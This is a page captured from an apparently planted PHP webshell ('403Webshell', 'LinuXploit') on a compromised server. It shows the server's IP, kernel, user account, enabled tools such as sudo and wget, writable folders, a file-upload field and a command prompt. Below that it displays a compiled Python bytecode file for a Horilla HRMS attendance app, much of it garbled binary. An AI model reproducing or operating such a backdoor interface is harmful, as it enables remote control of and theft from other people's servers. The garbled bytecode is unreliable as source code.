403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/attendance/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/attendance/__pycache__/apps.cpython-310.pyc
o

hͦhH�@s0dZddlmZddlmZGdd�de�ZdS)za
This module defines the configuration for the 'attendance' app within the Horilla HRMS project.
�)�	AppConfig)�APP_URLScs0eZdZdZdZdZ�fdd�Zdd�Z�ZS)�AttendanceConfiga3
    Configures the 'attendance' app and performs additional setup during the app's
    initialization. This includes appending the 'attendance' URL patterns to the
    project's main urlpatterns and dynamically adding the 'AttendanceMiddleware'
    to the middleware stack if it's not already present.
    zdjango.db.models.BigAutoField�
attendancecs�ddlm}m}ddlm}ddlm}|�|d|d���d}||vr)|�|�t�d�z|�	�WnYt
���dS)Nr)�include�path)�
MIDDLEWARE)�urlpatternszattendance/zattendance.urlsz*attendance.middleware.AttendanceMiddleware)�django.urlsrr�horilla.settingsr�horilla.urlsr	�appendr�create_enable_disable_check_in�super�ready)�selfrrrr	�middleware_path��	__class__��/var/www/erp/attendance/apps.pyrs�

zAttendanceConfig.readycCs`ddlm}ddlm}|j��}|D]}|jj|d���s-z	|jj|d�WqYqqdS)z�
        Checks if an AttendanceGeneralSetting object exists for each company.
        If it doesn't exist, creates one.
        r)�AttendanceGeneralSetting)�Company)�
company_idN)	�attendance.modelsr�base.modelsr�objects�all�filter�exists�create)rrr�	companies�companyrrrr)s
��z/AttendanceConfig.create_enable_disable_check_in)	�__name__�
__module__�__qualname__�__doc__�default_auto_field�namerr�
__classcell__rrrrr
srN)r&�django.appsr�horilla.horilla_settingsrrrrrr�<module>s

Youez - 2016 - github.com/yon3zu
LinuXploit